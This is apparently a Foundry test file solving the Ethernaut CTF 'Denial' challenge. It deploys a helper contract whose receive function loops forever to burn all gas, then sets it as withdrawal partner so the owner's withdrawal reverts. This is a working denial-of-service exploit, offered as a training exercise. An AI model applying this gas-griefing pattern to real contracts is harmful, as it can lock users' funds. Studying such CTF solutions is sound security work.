DenialExploit.t.sol

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import '../../src/EthernautCTF/Denial.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';

contract Helper {
  receive() external payable {
    // Consume all the gas to deny the withdrawal of funds.
    // This will trigger a MemoryOOG revert.
    while (true) {}
  }
}

contract DenialExploit is Test {
  Denial target;
  address deployer = makeAddr('deployer');
  address exploiter = makeAddr('exploiter');

  function setUp() public {
    vm.startPrank(deployer);
    // Deploy the contract.
    target = new Denial();
    console.log('Target contract deployed');

    // Fund the contract.
    vm.deal(deployer, 100 ether);
    (bool success, ) = address(target).call{value: 100 ether}('');
    require(success);
    vm.stopPrank();
  }

  function testExploit() public {
    // Set up the DoS contract.
    vm.startPrank(exploiter);
    Helper helper = new Helper();
    console.log('DoS contract deployed');
    target.setWithdrawPartner(address(helper));
    console.log('DoS contract set as a withdrawal partner');
    vm.stopPrank();

    // Attempt to withdraw funds.
    vm.startPrank(deployer);
    console.log('The owner tries to withdraw his funds');
    vm.expectRevert();
    target.withdraw{gas: 10 ** 6}();
    console.log('The withdrawal attempt reverted');
    vm.stopPrank();
  }
}